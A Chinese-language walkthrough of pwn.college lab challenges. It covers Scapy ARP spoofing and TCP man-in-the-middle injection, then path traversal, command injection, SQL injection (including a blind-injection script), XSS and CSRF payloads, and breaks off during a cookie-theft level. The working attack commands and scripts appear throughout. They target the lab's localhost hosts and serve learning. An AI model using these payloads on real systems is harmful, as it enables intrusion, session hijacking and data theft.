sendp(Ether(src=get_if_hwaddr("eth0"),dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.2", dst="10.0.0.3") / TCP(sport=31337, dport=31337, ack=1235161237, seq=31338,flags="A"),iface="eth0")

pwn.college{cMG0JWm3rTQmJHtfC-JNorRv6Ef.dljNzMDL2QjMyMzW}

多么美妙的一张图 level11

level12 Manually send an Address Resolution Protocol packet

>>> sendp(Ether(dst="ff:ff:ff:ff:ff:ff", src=get_if_hwaddr("eth0")) / ARP(op="is-at", hwsrc=get_if_h
...: waddr("eth0"), psrc="10.0.0.2", hwdst="ff:ff:ff:ff:ff:ff", pdst="10.0.0.3"), iface="eth0")
.
Sent 1 packets.

pwn.college{0mowkGco5uatE6V9v8I1lPZ2xHa.dBzNzMDL2QjMyMzW}

level13 Hijack traffic from a remote host using ARP

先观察一波

root@ip-10-0-0-3:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether e6:19:83:95:20:c7 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.0.0.3/16 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::e419:83ff:fe95:20c7/64 scope link
       valid_lft forever preferred_lft forever
root@ip-10-0-0-3:~#

很尬,就自己瞎做把

arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc="e6:19:83:95:20:c7", psrc="10.0.0.3", pdst="10.0.0.4")
remote_mac = arp_response[0][1].hwsrc

level13

tcp_redirect = Ether(src=remote_mac, dst="e6:19:83:95:20:c7") / IP(src="10.0.0.4", dst="10.0.0.3") / TCP(sport=31337, dport=31337, flags="PA", seq=123456, ack=0)

level13

arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc="e6:19:83:95:20:c7", psrc="10.0.0.3", pdst="10.0.0.2")
remote_mac = arp_response[0][1].hwsrc

Alt text

tcp_redirect = Ether(src=remote_mac, dst=local_mac) / IP(src="10.0.0.4", dst=local_ip) / TCP(sport=31338, dport=31337, flags="PA", seq=123456, ack=0)

level13 看起来,又是建立链接?

sendp(Ether(src=get_if_hwaddr("eth0"),dst="ff:ff:ff:ff:ff:ff") / IP(src="10.0.0.2", dst="10.0.0.3") / TCP(sport=31337, dport=31337, seq=31337, flags="A"),iface="eth0")

过程都写完了,可以写脚本了

from scapy.all import *

# 获取本地接口的 MAC 和 IP 地址
local_mac = get_if_hwaddr("eth0")
local_ip = get_if_addr("eth0")

# 构造 ARP 请求数据包,欺骗目标主机
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc=local_mac, psrc=local_ip, pdst="10.0.0.4")

# 发送 ARP 请求数据包,并获取目标主机的 MAC 地址
arp_response = srp(arp_request, timeout=2, iface="eth0", verbose=False)[0]
remote_mac = arp_response[0][1].hwsrc

# 构造 TCP 重定向数据包,将流量重定向到本地主机
tcp_redirect = Ether(src=remote_mac, dst=local_mac) / IP(src="10.0.0.4", dst=local_ip) / TCP(sport=31337, dport=31337, flags="PA", seq=123456, ack=0)

# 发送 TCP 重定向数据包,劫持流量
sendp(tcp_redirect, iface="eth0")
from scapy.all import *

# 获取本地接口的 MAC 和 IP 地址
local_mac = get_if_hwaddr("eth0")
local_ip = get_if_addr("eth0")

# 构造 ARP 请求数据包,欺骗目标主机
arp_request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", hwsrc=local_mac, psrc=local_ip, pdst="10.0.0.2")

# 发送 ARP 请求数据包,并获取目标主机的 MAC 地址
arp_response = srp(arp_request, timeout=2, iface="eth0", verbose=False)[0]
remote_mac = arp_response[0][1].hwsrc

# 构造 TCP 重定向数据包,将流量重定向到本地主机
tcp_redirect = Ether(src=remote_mac, dst=local_mac) / IP(src="10.0.0.2", dst=local_ip) / TCP(sport=31337, dport=31337, flags="PA", seq=123456, ack=0)

# 发送 TCP 重定向数据包,劫持流量
sendp(tcp_redirect, iface="eth0")

好吧,整了一大堆,然后发现搞错了,没那么复杂,G。。。

正确解答如下:

root@ip-10-0-0-3:~# arping 10.0.0.4
ARPING 10.0.0.4
42 bytes from ce:b6:65:76:0a:83 (10.0.0.4): index=0 time=17.107 usec
42 bytes from ce:b6:65:76:0a:83 (10.0.0.4): index=1 time=13.761 usec
^C
--- 10.0.0.4 statistics ---
2 packets transmitted, 2 packets received,   0% unanswered (0 extra)
rtt min/avg/max/std-dev = 0.014/0.015/0.017/0.002 ms
root@ip-10-0-0-3:~#

sendp(Ether(src=get_if_hwaddr("eth0"),dst="ce:b6:65:76:0a:83") / ARP(op="is-at",hwsrc=get_if_hwaddr("eth0"),psrc="10.0.0.2",hwdst="ce:b6:65:76:0a:83",pdst="10.0.0.4"),iface="eth0")

pwn.college{cNTaa8AjxVE-lSXY9DgEeXxNMHz.dFzNzMDL2QjMyMzW}

level13结果

level14 Man-in-the-middle traffic between two remote hosts and inject extra traffic

从讲解来看,这个题的核心是需要加入对话,而不仅仅是监听,因为对话中有一次性密钥,仅仅监听并不管用,重点是抓住窗口期发送包含有FLAG的包。

直接写个脚本

from scapy.all import *

sendp(Ether(src=get_if_hwaddr("eth0")) / ARP(op="is-at",hwsrc=get_if_hwaddr("eth0"),
            psrc="10.0.0.3",pdst="10.0.0.4"),iface="eth0") #tell 10.0.0.4,where 10.0.0.3 it is
sendp(Ether(src=get_if_hwaddr("eth0")) / ARP(op="is-at",hwsrc=get_if_hwaddr("eth0"),
            psrc="10.0.0.4",pdst="10.0.0.3"),iface="eth0") #tell 10.0.0.3,where 10.0.0.4 it is

packet_data = {
    'key': '',
    'dst': '',
    'src': '',
    'ipdst': '',
    'ipsrc': '',
    'ipflags': '',
    'sport': 0,
    'dport': 31337,
    'flags': '',
    'seq': 0,
    'ack': 0
}

def CallBack(packet):
    if packet.haslayer('TCP'):
        tcp = packet['TCP']
        ip = packet['IP']
        ether = packet['Ethernet']
        load = tcp.load if hasattr(tcp, 'load') else b''

        if ip.src == '10.0.0.4' and load != b'ECHO\n':
            packet_data['key'] = load


        if ip.src == '10.0.0.3' and load == b'COMMANDS:\nECHO\nFLAG\nCOMMAND:\n':
            print("WARNING!!")

            packet_data.update({
                'ipdst': ip.src,
                'ipsrc': ip.dst,
                'flags': 'PA',
                'ipflags': ip.flags,
                'dst': ether.src,
                'src': ether.dst,
                'dport': tcp.sport,
                'sport': tcp.dport,
                'seq': tcp.ack,
                'ack': tcp.seq + 29
            })

            raw_pkt = Raw(load='FLAG\n')
            (Ether(src=packet_data['src'], dst=packet_data['dst']) /
             IP(src=packet_data['ipsrc'], dst=packet_data['ipdst'], flags=packet_data['ipflags']) /
             TCP(dport=packet_data['dport'], sport=packet_data['sport'], seq=packet_data['seq'], ack=packet_data['ack'], flags=packet_data['flags']) /
             raw_pkt).display()

            sendp(Ether(src=packet_data['src'], dst=packet_data['dst']) /
                  IP(src=packet_data['ipsrc'], dst=packet_data['ipdst'], flags=packet_data['ipflags']) /
                  TCP(dport=packet_data['dport'], sport=packet_data['sport'], seq=packet_data['seq'], ack=packet_data['ack'], flags=packet_data['flags']) /
                  raw_pkt, iface="eth0")

sniff(filter="tcp", prn=CallBack, iface='eth0', count=100)


然后顺利拿到flag

pwn.college{A3pb7kfH8On2sOV2_hSlPGWG_P8.dJzNzMDL2QjMyMzW}

可以看这个视频讲解 level14

碎碎念:这个部分其实不太难,重点是学会scapy即可,但是诡异的地方在于必须使用tmux,好像这样才能在一个父线程之下,不然你在另一个shell里面使用python脚本,这个shell里面的tcpdump抓不到东西。这曾经困扰了我很久,别的就没啥了。

Knoeledge

需要知道web服务器都能干什么事

SQL,大名鼎鼎的SQL注入

命令注入

HTML,也就是注入部分JavaScript

C语言的堆栈注入

总的来说就是利用Web服务器会执行一些语句(部分参数来自于我们的输入),来进行操作。

Origin的概念:(<shceme>,<host>,<post>) (http, exapmle.com,80)

HTML-embeds、域名、站点等概念,基本上都是计算机网络的内容

WP

level1 Exploit a path traversal vulnerability

这个其实我找不到太好的方法,只能猜,猜到了就是了

hacker@web-security-level-1:~$ curl http://challenge.localhost:80/?path=/flag
pwn.college{4MSrtxHJYUF2_wAz81iNV6UtM5K.ddDOzMDL2QjMyMzW}
hacker@web-security-level-1:~$

这个也不让安装dirsearch,不知道怎么自己扫目录,也许可以自己写脚本?

level2 Exploit a command injection vulnerability

这个十分简单,就是一个简单的命令注入,只需要让前面的命令闭合即可

hacker@web-security-level-2:~$ curl "http://challenge.localhost:80/?timezone=;cat%20/flag;#"
pwn.college{o0h_efJ2CAv60AmeSOoPYGrZKBs.dhDOzMDL2QjMyMzW}
Mon Jul 24 07:17:20 UTC 2023

level3 Exploit an authentication bypass vulnerability

界面 在运行以后出现这个界面

一开始以为是弱口令,试了好几个都不太星,然后看了一下源代码

    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password'),
               (flag,))

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        assert username, "Missing `username` form"
        assert password, "Missing `password` form"

        user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
        assert user, "Invalid `username` or `password`"

        return redirect(request.path, user=int(user["rowid"]))

    if "user" in request.args:
        user_id = int(request.args["user"])
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        if user:
            username = user["username"]
            if username == "flag":
                return f"{flag}\n"
            return f"Hello, {username}!\n"

    return form(["username", "password"])

发现重点在于rowid

hacker@web-security-level-3:~$ curl -X GET "http://challenge.localhost:80/?user=1"
pwn.college{8_5yNK5tBFzbFE9oz5e05zoS6-a.dlDOzMDL2QjMyMzW}

这道题的重点就是找到绕过这个界面的方法。也就是说我们如果看到的是那个输入的页面,只有输入正确的flag才行,但是我们想要的就是flag,怎么可能输入进去?

因此正确的做法是只使用GET请求,构造合理的请求包。

当然为什么user=1,要看这个视频,我其实是瞎猜的,但是应该是看一下返回包。

level4 Exploit a structured query language injection vulnerability to login

还是看代码

        user = db.execute(f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"').fetchone()
        assert user, "Invalid `username` or `password`"

        session["user"] = int(user["rowid"])
        return redirect(request.path)

    if session.get("user"):
        user_id = int(session.get("user", -1))
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        if user:
            username = user["username"]
            if username == "flag":
                return f"{flag}\n"
            return f"Hello, {username}!\n"

SQL注入

在user的地方填上flag";--即可

pwn.college{YeVTtF9Vvh8mWYEuq-G30ezoOld.dBTOzMDL2QjMyMzW}

level5 Exploit a structured query language injection vulnerability to leak data

def level5():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? AS password'),
               (flag,))

    query = request.args.get("query", "%")
    users = db.execute(f'SELECT username FROM users WHERE username LIKE "{query}"').fetchall()
    return "".join(f'{user["username"]}\n' for user in users)

这个看代码的话,直接上联合查询

hacker@web-security-level-5:~$ curl "http://challenge.localhost:80/?query=%22%20UNION%20SELECT%20password%20FROM%20users%20--"
pwn.college{ky74n-Ct2lQvah1GVjTktI5hfs6.dFTOzMDL2QjMyMzW}

其实还是简单的。

level6 Exploit a structured query language injection vulnerability with an unknown database structure

def level6():
    table_name = f"table{hash(flag) & 0xFFFFFFFFFFFFFFFF}"
    db.execute((f"CREATE TABLE IF NOT EXISTS {table_name} AS "
                'SELECT "flag" AS username, ? AS password'),
               (flag,))

    query = request.args.get("query", "%")
    users = db.execute(f'SELECT username FROM {table_name} WHERE username LIKE "{query}"').fetchall()
    return "".join(f'{user["username"]}\n' for user in users)

这个是说我们不知道库名和表名,但是sqlite有如下语句可以查询

--  this query will extract data from databases.

SELECT name FROM sqlite_master WHERE type = "table"

--  or

SELECT tbl_name FROM sqlite_master

这样我们就可以联合查询了,先查表名

hacker@web-security-level-6:~$ curl 'http://challenge.localhost:80/?query=%22%20UNION%20SELECT%20name%20FROM%20sqlite_master%20WHERE%20type%20%3D%20%22table%22%3B--'
table14306546637912208127
hacker@web-security-level-6:~$

然后从这个表读取flag即可

hacker@web-security-level-6:~$ curl 'http://challenge.localhost:80/?query=%20%22%20UNION%20SELECT%20password%20FROM%20table14306546637912208127%20%3B%20--'
pwn.college{g044nYlCw5bx-l7OByeCKKr9QCs.dJTOzMDL2QjMyMzW}
hacker@web-security-level-6:~$

level7 Exploit a structured query language injection vulnerability to blindly leak data

先看源代码

def level7():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password'),
               (flag,))

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        assert username, "Missing `username` form"
        assert password, "Missing `password` form"

        user = db.execute(f'SELECT rowid, * FROM users WHERE username = "{username}" AND password = "{password}"').fetchone()
        assert user, "Invalid `username` or `password`"

        session["user"] = int(user["rowid"])
        return redirect(request.path)

    if session.get("user"):
        user_id = int(session.get("user", -1))
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        if user:
            username = user["username"]
            return f"Hello, {username}!\n"

    return form(["username", "password"])

根据源代码,如果我们输入正确,我们就可以得到hellp,flag的提示,也就是说,我们可以一位一位的来实验,进而推出整个flag。这是典型的盲注。

当然,这里有一个问题就是LIKE是不区分大小写的,因此我们需要使用GLOB来替换

然后我们写个脚本即可

import string
import requests

searchspace = string.ascii_letters + string.digits + '{}._-'
solution = ''

while True:
    for char in searchspace:
        data = {
            "username": f'" OR password  GLOB "{solution}{char}*" -- -',
            "password": 'flag'
        }

        response = requests.post("http://challenge.localhost/", data = data)
        if response.text.startswith("Hello"):
            solution += char
            break
    if solution[-1] == "}":
        print(solution)
        break

然后得到flag

hacker@web-security-level-7:~$ python test.py
pwn.college{IqvCxcvkbplIDWtJG3DclxxKfPE.dNTOzMDL2QjMyMzW}
hacker@web-security-level-7:~$

level8 Exploit a cross site scripting vulnerability

终于来到了激动人心的跨站脚本,还是先看源码

def level8():
    if request.path == "/echo":
        echo = request.args.get("echo")
        assert echo, "Missing `echo` argument"
        return html(echo)

    if request.path == "/visit":
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"

        with run_browser() as browser:
            browser.get(url)
            try:
                WebDriverWait(browser, 1).until(EC.alert_is_present())
            except TimeoutException:
                return "Failed to alert\n"
            else:
                return f"{flag}\n"

    return "Not Found\n", 404

如果将 url 参数设置为 javascript:alert(1),那么它将弹出一个警报框,并返回标志值 flag。

hacker@web-security-level-8:~$ curl "http://challenge.localhost/visit?url=<script>alert(1)</script>"
Invalid `url`, hostname should be `challenge.localhost`
hacker@web-security-level-8:~$ curl "http://challenge.localhost/visit?url=http://challenge.localhost/echo?echo=<script>alert(1)</script>"
pwn.college{4g4Hj421ueC3NuXZRLIM6QQnz_i.dRTOzMDL2QjMyMzW}
hacker@web-security-level-8:~$

level9 Exploit a cross site scripting vulnerability with more complicated context

还是先看一下源代码

def level9():
    if request.path == "/echo":
        echo = request.args.get("echo")
        assert echo, "Missing `echo` argument"
        return html(f"<textarea>{echo}</textarea>")

    if request.path == "/visit":
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"

        with run_browser() as browser:
            browser.get(url)
            try:
                WebDriverWait(browser, 1).until(EC.alert_is_present())
            except TimeoutException:
                return "Failed to alert\n"
            else:
                return f"{flag}\n"

    return "Not Found\n", 404

差不多,不同的是要使用<textarea>标签

hacker@web-security-level-9:~$ curl "http://challenge.localhost/visit?url=http://challenge.localhost/echo?echo=</textarea><script>alert(1)</script><textarea>"
pwn.college{Ukha1cPrsQUTyJ0IakNuWL6dt7w.dVTOzMDL2QjMyMzW}
hacker@web-security-level-9:~$

level10 Exploit a cross site scripting vulnerability to cause a user action

源代码

def level10():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password, ? as leak'),
               (flag, False))

    if request.path == "/login":
        if request.method == "POST":
            username = request.form.get("username")
            password = request.form.get("password")
            assert username, "Missing `username` form"
            assert password, "Missing `password` form"

            user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
            assert user, "Invalid `username` or `password`"

            session["user"] = int(user["rowid"])
            return redirect(request.path)

        return form(["username", "password"])

    if request.path == "/leak":
        user_id = int(session.get("user", -1))
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        assert user, "Not logged in"
        db.execute(f"UPDATE users SET leak = TRUE WHERE rowid = ?", (user_id,))
        return "Leaked\n"

    if request.path == "/info":
        assert "user" in request.args, "Missing `user` argument"
        user_id = int(request.args["user"])
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        assert user, "Invalid `user`"
        info = [user["username"]]
        if user["leak"]:
            info.append(user["password"])
        return " ".join(info) + "\n"

    if request.path == "/visit":
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"

        with run_browser() as browser:
            browser.get(f"http://{challenge_host}/login")

            user_form = {
                "username": "flag",
                "password": flag,
            }
            for name, value in user_form.items():
                field = browser.find_element(By.NAME, name)
                field.send_keys(value)

            submit_field = browser.find_element(By.ID, "submit")
            submit_field.submit()
            WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))

            browser.get(url)
            time.sleep(1)

        return "Visited\n"

    if request.path == "/echo":
        echo = request.args.get("echo")
        assert echo, "Missing `echo` argument"
        return html(echo)

    return "Not Found\n", 404

五个路由:

  • /login 路由:它接受 POST 请求,从表单中获取 username 和 password 参数的值,并使用 SQLite 数据库查询验证用户身份。如果验证成功,它将在会话中存储用户 ID,并重定向到登录页面。如果请求方法是 GET,它将返回一个包含 username 和 password 输入框的 HTML 表单。
  • /leak 路由:它检查当前用户是否已经登录,并将该用户的 leak 标志设置为 TRUE。这个标志可以用来控制是否泄露用户密码。
  • /info 路由:它从请求参数中获取 user 参数的值,并使用 SQLite 数据库查询该用户的信息。如果该用户存在,它将返回该用户的用户名和密码(如果 leak 标志为 TRUE)。
  • /visit 路由:它从请求参数中获取 url 参数的值,并使用 Selenium WebDriver 打开该 URL。在访问该 URL 之前,它会先登录为管理员用户,以便访问敏感数据。如果 url 参数的主机名与 challenge_host 变量的值相同,它将访问该 URL 并返回一个成功消息。
  • /echo 路由:它从请求参数中获取 echo 参数的值,并返回一个 HTML 响应,其中包含 echo 参数的值。
hacker@web-security-level-10:~$ curl http://challenge.localhost/visit?url=http://challenge.localhost/leak
Visited
hacker@web-security-level-10:~$

这时候我们就已经被设置为True了,然后再访问即可

hacker@web-security-level-10:~$ curl http://challenge.localhost/info?user=1
flag pwn.college{4QUT7p7kVB1-GCQIE-psBqLVG8L.dZTOzMDL2QjMyMzW}
hacker@web-security-level-10:~$

level11 Exploit a cross site request forgery vulnerability

看一下源代码

def level11():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password, ? as leak'),
               (flag, False))

    if request.path == "/login":
        if request.method == "POST":
            username = request.form.get("username")
            password = request.form.get("password")
            assert username, "Missing `username` form"
            assert password, "Missing `password` form"

            user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
            assert user, "Invalid `username` or `password`"

            session["user"] = int(user["rowid"])
            return redirect(request.path)

        return form(["username", "password"])

    if request.path == "/leak":
        user_id = int(session.get("user", -1))
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        assert user, "Not logged in"
        db.execute(f"UPDATE users SET leak = TRUE WHERE rowid = ?", (user_id,))
        return "Leaked\n"

    if request.path == "/info":
        assert "user" in request.args, "Missing `user` argument"
        user_id = int(request.args["user"])
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        assert user, "Invalid `user`"
        info = [user["username"]]
        if user["leak"]:
            info.append(user["password"])
        return " ".join(info) + "\n"

    if request.path == "/visit":
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == hacker_host, f"Invalid `url`, hostname should be `{hacker_host}`"

        with run_browser() as browser:
            browser.get(f"http://{challenge_host}/login")

            user_form = {
                "username": "flag",
                "password": flag,
            }
            for name, value in user_form.items():
                field = browser.find_element(By.NAME, name)
                field.send_keys(value)

            submit_field = browser.find_element(By.ID, "submit")
            submit_field.submit()
            WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))

            browser.get(url)
            time.sleep(1)

        return "Visited\n"

    return "Not Found\n", 404

区别在于这次我们需要自己启动一个服务,因为hacker.localhost没有服务,当然,答疑给出了一个参考框架

from flask import Flask,request
app=Flask(__name__)
@app.route("/")
def index():
    data='<img src="http://challenge.localhost/">'
    return data
app.run("hacker.localhost",8080)

后面的挑战都可以利用这个代码框架,只需要改变的是Data那个部分。 这里的所谓的img src是什么?就是tab里面这个小图片 img src 举个例子 不只是那个img src,比如说这个图,除了本身的请求之外,还请求了一个js,其实只要你用了其他站的src,都会同时发包的。

正确的内容如下所示:

from flask import Flask,request

app=Flask(__name__)
@app.route("/")
def index():
    data = '<img src="http://challenge.localhost/leak">'
    return data
app.run("hacker.localhost",8080)

这里是这样的:我启动了hacker.localhost服务,也就是127.0.0.1,然后我现在希望服务器把我设置为visited,这样我再访问challenge的时候就可以访问到flag了。这时候,我如何通过hacker让challenge给我设置为 visited呢?利用访问网页的同时网页也会请求ico的特点,让hacker发一个访问leak的包,即可!

hacker@web-security-level-11:~$ curl 'http://challenge.localhost/visit?url=http://hacker.localhost:8080/'
Visited
hacker@web-security-level-11:~$ curl http://challenge.localhost/info?user=1
flag pwn.college{YJJku1sAPTQ8nbbxZ7Dy_Z3PahG.ddTOzMDL2QjMyMzW}
hacker@web-security-level-11:~$

level12 Exploit a cross site request forgery vulnerability where the request must POST

看看源码

def level12():
    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password, ? as leak'),
               (flag, False))

    if request.path == "/login":
        if request.method == "POST":
            username = request.form.get("username")
            password = request.form.get("password")
            assert username, "Missing `username` form"
            assert password, "Missing `password` form"

            user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
            assert user, "Invalid `username` or `password`"

            session["user"] = int(user["rowid"])
            return redirect(request.path)

        return form(["username", "password"])

    if request.path == "/leak" and request.method == "POST":
        user_id = int(session.get("user", -1))
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        assert user, "Not logged in"
        db.execute(f"UPDATE users SET leak = TRUE WHERE rowid = ?", (user_id,))
        return "Leaked\n"

    if request.path == "/info":
        assert "user" in request.args, "Missing `user` argument"
        user_id = int(request.args["user"])
        user = db.execute("SELECT * FROM users WHERE rowid = ?", (user_id,)).fetchone()
        assert user, "Invalid `user`"
        info = [user["username"]]
        if user["leak"]:
            info.append(user["password"])
        return " ".join(info) + "\n"

    if request.path == "/visit":
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == hacker_host, f"Invalid `url`, hostname should be `{hacker_host}`"

        with run_browser() as browser:
            browser.get(f"http://{challenge_host}/login")

            user_form = {
                "username": "flag",
                "password": flag,
            }
            for name, value in user_form.items():
                field = browser.find_element(By.NAME, name)
                field.send_keys(value)

            submit_field = browser.find_element(By.ID, "submit")
            submit_field.submit()
            WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))

            browser.get(url)
            time.sleep(1)

        return "Visited\n"

    return "Not Found\n", 404

这个要求方法为POST,实在是不知道咋整,主要是前端那块儿会的太少了,看了一下 discord里面的解答,得到如下语句

from flask import Flask,request

app=Flask(__name__)
@app.route("/")
def index():
    data = '<script>var xhr=new XMLHttpRequest(); xhr.open("POST","http://challenge.localhost/leak",true);xhr.withCredentials=true;xhr.send(null);</script>'
    return data
app.run("hacker.localhost",8080)

有点儿超纲了朋友。。。

解释是这样的:这段代码似乎是在 hacker.localhost:8080 上启动了一个 Flask 应用程序,它的主页返回了一个包含一个 JavaScript 代码块的 HTML 页面。该 JavaScript 代码块使用 XMLHttpRequest 对象向 challenge.localhost 的 /leak 路由发送了一个 POST 请求,并将 withCredentials 属性设置为 true,以便在跨域请求中发送身份验证信息。

这个 JavaScript 代码块可能会导致一些安全问题,例如:

它允许跨域请求,而没有对目标服务器进行足够的验证和授权。这可能导致攻击者利用该漏洞,向目标服务器发送恶意请求,例如修改数据、泄漏敏感信息等等。 以上是chatgpt的一些解答,反正我大受震撼

hacker@web-security-level-12:~$ curl 'http://challenge.localhost/visit?url=http://hacker.localhost:8080/'
Visited
hacker@web-security-level-12:~$ curl http://challenge.localhost/info?user=1
flag pwn.college{YOI6WPf6E5oX7qRb5fmdXaYAu3v.dhTOzMDL2QjMyMzW}
hacker@web-security-level-12:~$

得到答案。

这里最好看一下两个服务器的log,理解更深刻一些

hacker@web-security-level-12:~$ sh file.sh
 * Serving Flask app 'run'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://challenge.localhost:80
Press CTRL+C to quit
127.0.0.1 - - [05/Aug/2023 13:38:17] "GET /login HTTP/1.1" 200 -
127.0.0.1 - - [05/Aug/2023 13:38:17] "GET /favicon.ico HTTP/1.1" 404 -
127.0.0.1 - - [05/Aug/2023 13:38:17] "POST /login HTTP/1.1" 302 -
127.0.0.1 - - [05/Aug/2023 13:38:17] "GET /login HTTP/1.1" 200 -
127.0.0.1 - - [05/Aug/2023 13:38:18] "POST /leak HTTP/1.1" 200 -
127.0.0.1 - - [05/Aug/2023 13:38:22] "GET /visit?url=http://hacker.localhost:8080/ HTTP/1.1" 200 -
127.0.0.1 - - [05/Aug/2023 13:38:26] "GET /info?user=1 HTTP/1.1" 200 -

正好有时间戳,可以看一下发生了什么

hacker@web-security-level-12:~$ python test.py
 * Serving Flask app 'test'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://hacker.localhost:8080
Press CTRL+C to quit
127.0.0.1 - - [05/Aug/2023 13:38:18] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [05/Aug/2023 13:38:18] "GET /favicon.ico HTTP/1.1" 404 -

level13 Exploit a cross site scripting vulnerability to exfilitrate user session data

看一下源代码,

def level13():
    app.config['SESSION_COOKIE_HTTPONLY'] = False

    db.execute(("CREATE TABLE IF NOT EXISTS users AS "
                'SELECT "flag" AS username, ? as password'),
               (flag,))

    if request.path == "/login":
        if request.method == "POST":
            username = request.form.get("username")
            password = request.form.get("password")
            assert username, "Missing `username` form"
            assert password, "Missing `password` form"

            user = db.execute(f"SELECT rowid, * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
            assert user, "Invalid `username` or `password`"

            session["user"] = int(user["rowid"])
            return redirect(request.path)

        return form(["username", "password"])

    if request.path == "/info":
        session_user_id = int(session.get("user", -1))
        session_user = db.execute("SELECT * FROM users WHERE rowid = ?", (session_user_id,)).fetchone()

        request_user_id = int(request.args.get("user", session_user_id))
        request_user = db.execute("SELECT * FROM users WHERE rowid = ?", (request_user_id,)).fetchone()
        assert request_user, "Invalid `user`"

        info = [request_user["username"]]
        if request_user_id == session_user_id:
            info.append(request_user["password"])
        return " ".join(info) + "\n"

    if request.path == "/visit":
        url = request.args.get("url")
        assert url, "Missing `url` argument"

        url_arg_parsed = urllib.parse.urlparse(url)
        assert url_arg_parsed.hostname == challenge_host, f"Invalid `url`, hostname should be `{challenge_host}`"

        with run_browser() as browser:
            browser.get(f"http://{challenge_host}/login")

            user_form = {
                "username": "flag",
                "password": flag,
            }
            for name, value in user_form.items():
                field = browser.find_element(By.NAME, name)
                field.send_keys(value)

            submit_field = browser.find_element(By.ID, "submit")
            submit_field.submit()
            WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))

            browser.get(url)
            time.sleep(1)

        return "Visited\n"

    if request.path == "/echo":
        echo = request.args.get("echo")
        assert echo, "Missing `echo` argument"
        return html(echo)

    return "Not Found\n", 404

看了一下,这次没有leak路由了,同时多了这样一句

app.config['SESSION_COOKIE_HTTPONLY'] = False

这是关闭了 Flask 应用程序的 HTTP-only 会话 cookie 选项

HTTP-only 会话 cookie 选项是一个安全机制,它可以防止恶意脚本(如跨站脚本攻击)从浏览器中窃取会话 cookie。当启用 HTTP-only 选项时,浏览器将禁止 JavaScript 访问会话 cookie,这意味着即使恶意脚本能够执行,也无法访问该 cookie。

如果关闭了 Flask 应用程序的 HTTP-only 会话 cookie 选项,会话 cookie 将变得更加容易受到攻击。例如,恶意脚本可以通过 JavaScript 访问会话 cookie,然后将其发送到攻击者的服务器,从而劫持用户的会话。此外,如果会话 cookie 包含敏感信息,例如用户名和密码,攻击者可以轻松地窃取这些信息,然后用于恶意目的。

这也就是level13的核心了。注意,此时我们不需要服务器了,因为并不需要从hacker访问了

然后差不多,就是写一个请求,把获取cookie的语句塞到里面即可,这个javascript的讲解在discord上有,一定要去看一看这个,十分的清晰!

import requests

